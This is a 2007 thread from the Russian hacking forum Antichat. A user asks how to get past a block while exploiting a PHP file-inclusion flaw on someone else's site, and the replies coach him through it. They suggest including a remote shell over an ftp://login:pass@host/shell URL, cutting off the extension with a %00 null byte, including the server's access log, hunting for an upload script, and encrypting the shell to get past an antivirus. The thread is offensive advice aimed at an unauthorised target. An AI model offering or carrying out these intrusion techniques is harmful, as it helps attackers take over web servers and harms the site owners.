Форум АНТИЧАТ
Страница 1 из 2 1 2 >
Показывать 40 сообщений этой темы на одной странице

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Помогите с PHP Inj (https://forum.antichat.xyz/showthread.php?t=53796)

CraF 17.11.2007 23:03
Помогите с PHP Inj
 
Вообщем есть сайт такого вида:

_http://www.site.com/site.php?page=index

после рандомного текста вводимого вместо index, выдает следующее:

Код:
Warning: main(ggsdf.php) [function.main]: failed to open stream: No such file or directory in /home/site/public_html/site.php on line 61

Warning: main(ggsdf.php) [function.main]: failed to open stream: No such file or directory in /home/site/public_html/site.php on line 61

Fatal error: main() [function.require]: Failed opening required 'ggsdf.php' (include_path='.:/usr/local/lib/php') in /home/site/public_html/site.php on line 61
Но после подстановки шелла в адресной строке, выдает следующее:

Service Temporarily Unavailable

The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later.

Как это можно обойти?

NOmeR1 17.11.2007 23:05
Цитата:
Сообщение от CraF
Как это можно обойти?
Попробуй указать вместо http://host/shell ссылку с фтп, т.е. - ftp://login:pass@host/shell

Кстате если укажешь site вместо index, то возможно будет рекурсия =)

Spyder 17.11.2007 23:10
имхо будет то же самое что и при http
Просто такая фигня появляется из-за url file access
ТС, пробуй отбросить разширение с помощью нулл-байта и ищи скрипт для аплода файлов
Или пробуй инклудить ацес_лог - что не очень действенно =\

CraF 17.11.2007 23:18
Да, аналогичная ситуация что и с http =\

%00 также не помогло =\

n0ne 17.11.2007 23:30
Spyder, если там url file access, то %00 там никак не поможет :)

Scipio 17.11.2007 23:33
Цитата:
Сообщение от n0ne
Spyder, если там url file access, то %00 там никак не поможет :)
Это ты ошибаешься, Spyder все правильно сказал, он говорил про локальный инклюд, а не ты не CraF непоняли про что он говорил

n0ne 17.11.2007 23:34
А да, извиняюсь, думал про %00 было сказано в тему про ремоут..ну да ладно)

Spyder 17.11.2007 23:57
Посмотрел, при добовление нулл байта такая же фигня происходит
имхо ничего не сделаеш
Если конечно сможешь залить как нибудь пшп файл, что вообще нереально =)

n0ne 18.11.2007 00:05
Странно, что при вписывании набора букв он выдает нормальную ошибку, а как инклюдишь шелл, то он пишет бред...у меня такое ощущение, что у них просто Iis там, антивирь или что-то подобное ловит шелл и просто не пускает его. ТС, попробуй проинклудить что-нить другое, или закрипти шелл.

Spyder 18.11.2007 00:12
гг, ИИС на никс сервере =)
Дело не в шелле. а в символах которые ты вводишь в строку
Попробуй перейти по ссылке site.php?%00 будет такая же фигня
Там просто фильтры стоят


Время: 02:55
Страница 1 из 2 1 2 >
Показывать 40 сообщений этой темы на одной странице